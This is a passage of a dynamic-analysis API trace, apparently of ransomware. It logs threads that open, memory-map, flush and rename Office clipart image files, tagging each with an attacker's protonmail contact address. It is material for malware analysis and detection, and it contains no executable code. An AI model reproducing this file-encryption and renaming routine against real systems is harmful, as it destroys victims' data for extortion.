	[0099.328] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0289430.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0289430.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0289430.jpg")) returned 1
	[0099.329] free (_Block=0x51f3088) 
	[0099.329] RtlExitUserThread (Status=0x0) 

Thread:
	id = 713
	os_tid = 0x1bb0

	[0099.331] _alloca_probe () returned 0x40328a
	[0099.332] GetCurrentThreadId () returned 0x1bb0
	[0099.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309480.jpg", dwFileAttributes=0x80) returned 1
	[0099.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309480.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309480.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdd4
	[0099.333] GetFileSizeEx (in: hFile=0xdd4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=10692) returned 1
	[0099.333] CreateFileMappingA (hFile=0xdd4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29c7, lpName=0x0) returned 0xdd8
	[0099.333] MapViewOfFile (hFileMappingObject=0xdd8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0099.336] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0099.336] CloseHandle (hObject=0xdd8) returned 1
	[0099.336] GetCurrentThreadId () returned 0x1bb0
	[0099.336] FlushFileBuffers (hFile=0xdd4) returned 1
	[0099.339] CloseHandle (hObject=0xdd4) returned 1
	[0099.339] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0309480.jpg") returned 97
	[0099.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309480.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309480.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0309480.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0309480.jpg")) returned 1
	[0099.340] free (_Block=0x51f0070) 
	[0099.340] RtlExitUserThread (Status=0x0) 

Thread:
	id = 714
	os_tid = 0x1bb4

	[0099.341] _alloca_probe () returned 0x40328a
	[0099.341] GetCurrentThreadId () returned 0x1bb4
	[0099.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.jpg", dwFileAttributes=0x80) returned 1
	[0099.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309567.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdd8
	[0099.343] GetFileSizeEx (in: hFile=0xdd8, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=21580) returned 1
	[0099.343] CreateFileMappingA (hFile=0xdd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5457, lpName=0x0) returned 0xddc
	[0099.343] MapViewOfFile (hFileMappingObject=0xddc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0099.348] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0099.349] CloseHandle (hObject=0xddc) returned 1
	[0099.349] GetCurrentThreadId () returned 0x1bb4
	[0099.349] FlushFileBuffers (hFile=0xdd8) returned 1
	[0099.354] CloseHandle (hObject=0xdd8) returned 1
	[0099.354] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0309567.jpg") returned 97
	[0099.354] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309567.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0309567.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0309567.jpg")) returned 1
	[0099.355] free (_Block=0x51f60a0) 
	[0099.355] RtlExitUserThread (Status=0x0) 

Thread:
	id = 715
	os_tid = 0x1bb8

	[0099.356] _alloca_probe () returned 0x40328a
	[0099.357] GetCurrentThreadId () returned 0x1bb8
	[0099.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.jpg", dwFileAttributes=0x80) returned 1
	[0099.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309585.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xddc
	[0099.358] GetFileSizeEx (in: hFile=0xddc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=39563) returned 1
	[0099.358] CreateFileMappingA (hFile=0xddc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a95, lpName=0x0) returned 0xde0
	[0099.358] MapViewOfFile (hFileMappingObject=0xde0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0099.368] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0099.368] CloseHandle (hObject=0xde0) returned 1
	[0099.368] GetCurrentThreadId () returned 0x1bb8
	[0099.368] FlushFileBuffers (hFile=0xddc) returned 1
	[0099.371] CloseHandle (hObject=0xddc) returned 1
	[0099.372] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0309585.jpg") returned 97
	[0099.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309585.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0309585.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0309585.jpg")) returned 1
	[0099.372] free (_Block=0x51f0070) 
	[0099.372] RtlExitUserThread (Status=0x0) 

Thread:
	id = 716
	os_tid = 0x1bbc

	[0099.426] _alloca_probe () returned 0x40328a
	[0099.426] GetCurrentThreadId () returned 0x1bbc
	[0099.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.jpg", dwFileAttributes=0x80) returned 1
	[0099.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309598.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xde0
	[0099.427] GetFileSizeEx (in: hFile=0xde0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=33264) returned 1
	[0099.427] CreateFileMappingA (hFile=0xde0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x81f0, lpName=0x0) returned 0xde4
	[0099.427] MapViewOfFile (hFileMappingObject=0xde4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0099.435] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0099.435] CloseHandle (hObject=0xde4) returned 1
	[0099.435] GetCurrentThreadId () returned 0x1bbc
	[0099.435] FlushFileBuffers (hFile=0xde0) returned 1
	[0099.438] CloseHandle (hObject=0xde0) returned 1
	[0099.438] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0309598.jpg") returned 97
	[0099.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309598.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0309598.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0309598.jpg")) returned 1
	[0099.439] free (_Block=0x51f4090) 
	[0099.439] RtlExitUserThread (Status=0x0) 

Thread:
	id = 717
	os_tid = 0x1bc0

	[0099.441] _alloca_probe () returned 0x40328a
	[0099.441] GetCurrentThreadId () returned 0x1bc0
	[0099.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309664.jpg", dwFileAttributes=0x80) returned 1
	[0099.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309664.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309664.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xde4
	[0099.442] GetFileSizeEx (in: hFile=0xde4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=43707) returned 1
	[0099.442] CreateFileMappingA (hFile=0xde4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaac5, lpName=0x0) returned 0xde8
	[0099.443] MapViewOfFile (hFileMappingObject=0xde8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0099.452] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0099.453] CloseHandle (hObject=0xde8) returned 1
	[0099.453] GetCurrentThreadId () returned 0x1bc0
	[0099.453] FlushFileBuffers (hFile=0xde4) returned 1
	[0099.455] CloseHandle (hObject=0xde4) returned 1
	[0099.456] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0309664.jpg") returned 97
	[0099.456] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309664.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309664.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0309664.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0309664.jpg")) returned 1
	[0099.457] free (_Block=0x51f5098) 
	[0099.457] RtlExitUserThread (Status=0x0) 

Thread:
	id = 718
	os_tid = 0x1bc4

	[0099.507] _alloca_probe () returned 0x40328a
	[0099.507] GetCurrentThreadId () returned 0x1bc4
	[0099.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.jpg", dwFileAttributes=0x80) returned 1
	[0099.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309705.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xde8
	[0099.510] GetFileSizeEx (in: hFile=0xde8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=19162) returned 1
	[0099.510] CreateFileMappingA (hFile=0xde8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ae3, lpName=0x0) returned 0xdec
	[0099.510] MapViewOfFile (hFileMappingObject=0xdec, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0099.514] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0099.515] CloseHandle (hObject=0xdec) returned 1
	[0099.515] GetCurrentThreadId () returned 0x1bc4
	[0099.515] FlushFileBuffers (hFile=0xde8) returned 1
	[0099.517] CloseHandle (hObject=0xde8) returned 1
	[0099.517] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0309705.jpg") returned 97
	[0099.517] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309705.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0309705.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0309705.jpg")) returned 1
	[0099.518] free (_Block=0x51f60a0) 
	[0099.518] RtlExitUserThread (Status=0x0) 

Thread:
	id = 719
	os_tid = 0x1bc8

	[0099.520] _alloca_probe () returned 0x40328a
	[0099.520] GetCurrentThreadId () returned 0x1bc8
	[0099.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.jpg", dwFileAttributes=0x80) returned 1
	[0099.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313896.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdec
	[0099.521] GetFileSizeEx (in: hFile=0xdec, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=37146) returned 1
	[0099.521] CreateFileMappingA (hFile=0xdec, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9123, lpName=0x0) returned 0xdf0
	[0099.522] MapViewOfFile (hFileMappingObject=0xdf0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0099.532] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0099.532] CloseHandle (hObject=0xdf0) returned 1
	[0099.532] GetCurrentThreadId () returned 0x1bc8
	[0099.532] FlushFileBuffers (hFile=0xdec) returned 1
	[0099.542] CloseHandle (hObject=0xdec) returned 1
	[0099.542] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0313896.jpg") returned 97
	[0099.542] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313896.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0313896.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0313896.jpg")) returned 1
	[0099.552] free (_Block=0x51f0070) 
	[0099.552] RtlExitUserThread (Status=0x0) 

Thread:
	id = 720
	os_tid = 0x1bcc

	[0099.530] _alloca_probe () returned 0x40328a
	[0099.530] GetCurrentThreadId () returned 0x1bcc
	[0099.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.jpg", dwFileAttributes=0x80) returned 1
	[0099.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313965.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdf0
	[0099.533] GetFileSizeEx (in: hFile=0xdf0, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=42842) returned 1
	[0099.534] CreateFileMappingA (hFile=0xdf0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa763, lpName=0x0) returned 0xdf8
	[0099.534] MapViewOfFile (hFileMappingObject=0xdf8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0099.555] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0099.556] CloseHandle (hObject=0xdf8) returned 1
	[0099.556] GetCurrentThreadId () returned 0x1bcc
	[0099.556] FlushFileBuffers (hFile=0xdf0) returned 1
	[0099.558] CloseHandle (hObject=0xdf0) returned 1
	[0099.559] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0313965.jpg") returned 97
	[0099.559] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0313965.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0313965.jpg")) returned 1
	[0099.560] free (_Block=0x51f80b0) 
	[0099.560] RtlExitUserThread (Status=0x0) 

Thread:
	id = 721
	os_tid = 0x1bd0

	[0099.602] _alloca_probe () returned 0x40328a
	[0099.602] GetCurrentThreadId () returned 0x1bd0
	[0099.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.jpg", dwFileAttributes=0x80) returned 1
	[0099.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313970.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdf8
	[0099.604] GetFileSizeEx (in: hFile=0xdf8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=33195) returned 1
	[0099.604] CreateFileMappingA (hFile=0xdf8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x81b5, lpName=0x0) returned 0xdec
	[0099.604] MapViewOfFile (hFileMappingObject=0xdec, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0099.627] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0099.627] CloseHandle (hObject=0xdec) returned 1
	[0099.627] GetCurrentThreadId () returned 0x1bd0
	[0099.627] FlushFileBuffers (hFile=0xdf8) returned 1
	[0099.630] CloseHandle (hObject=0xdf8) returned 1
	[0099.631] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0313970.jpg") returned 97
	[0099.631] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0313970.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0313970.jpg")) returned 1
	[0099.632] free (_Block=0x51f60a0) 
	[0099.632] RtlExitUserThread (Status=0x0) 

Thread:
	id = 722
	os_tid = 0x1bd4

	[0099.679] _alloca_probe () returned 0x40328a
	[0099.680] GetCurrentThreadId () returned 0x1bd4
	[0099.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313974.jpg", dwFileAttributes=0x80) returned 1
	[0099.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313974.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313974.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdec
	[0099.681] GetFileSizeEx (in: hFile=0xdec, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=47569) returned 1
	[0099.681] CreateFileMappingA (hFile=0xdec, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb9d1, lpName=0x0) returned 0xdfc
	[0099.682] MapViewOfFile (hFileMappingObject=0xdfc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0099.760] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0099.761] CloseHandle (hObject=0xdfc) returned 1
	[0099.761] GetCurrentThreadId () returned 0x1bd4
	[0099.761] FlushFileBuffers (hFile=0xdec) returned 1
	[0099.924] CloseHandle (hObject=0xdec) returned 1
	[0099.924] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0313974.jpg") returned 97
	[0099.924] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313974.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313974.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0313974.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0313974.jpg")) returned 1
	[0099.926] free (_Block=0x51f5098) 
	[0099.926] RtlExitUserThread (Status=0x0) 

Thread:
	id = 723
	os_tid = 0x1bd8

	[0099.839] _alloca_probe () returned 0x40328a
	[0099.839] GetCurrentThreadId () returned 0x1bd8
	[0099.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.jpg", dwFileAttributes=0x80) returned 1
	[0099.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0314068.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe00
	[0099.840] GetFileSizeEx (in: hFile=0xe00, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=16626) returned 1
	[0099.840] CreateFileMappingA (hFile=0xe00, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40f3, lpName=0x0) returned 0xe04
	[0099.840] MapViewOfFile (hFileMappingObject=0xe04, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0099.845] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0099.845] CloseHandle (hObject=0xe04) returned 1
	[0099.845] GetCurrentThreadId () returned 0x1bd8
	[0099.845] FlushFileBuffers (hFile=0xe00) returned 1
	[0099.847] CloseHandle (hObject=0xe00) returned 1
	[0099.847] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0314068.jpg") returned 97
	[0099.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0314068.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0314068.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0314068.jpg")) returned 1
	[0099.848] free (_Block=0x51f0070) 
	[0099.848] RtlExitUserThread (Status=0x0) 

Thread:
	id = 724
	os_tid = 0x1bdc

	[0099.850] _alloca_probe () returned 0x40328a
	[0099.850] GetCurrentThreadId () returned 0x1bdc
	[0099.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.jpg", dwFileAttributes=0x80) returned 1
	[0099.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315580.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe04
	[0099.851] GetFileSizeEx (in: hFile=0xe04, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=19202) returned 1
	[0099.851] CreateFileMappingA (hFile=0xe04, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b03, lpName=0x0) returned 0xe08
	[0099.851] MapViewOfFile (hFileMappingObject=0xe08, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0099.856] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0099.857] CloseHandle (hObject=0xe08) returned 1
	[0099.857] GetCurrentThreadId () returned 0x1bdc
	[0099.857] FlushFileBuffers (hFile=0xe04) returned 1
	[0099.859] CloseHandle (hObject=0xe04) returned 1
	[0099.860] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0315580.jpg") returned 97
	[0099.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315580.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0315580.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0315580.jpg")) returned 1
	[0099.861] free (_Block=0x51f3088) 
	[0099.861] RtlExitUserThread (Status=0x0) 

Thread:
	id = 725
	os_tid = 0x1be0

	[0099.900] _alloca_probe () returned 0x40328a
	[0099.900] GetCurrentThreadId () returned 0x1be0
	[0099.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.jpg", dwFileAttributes=0x80) returned 1
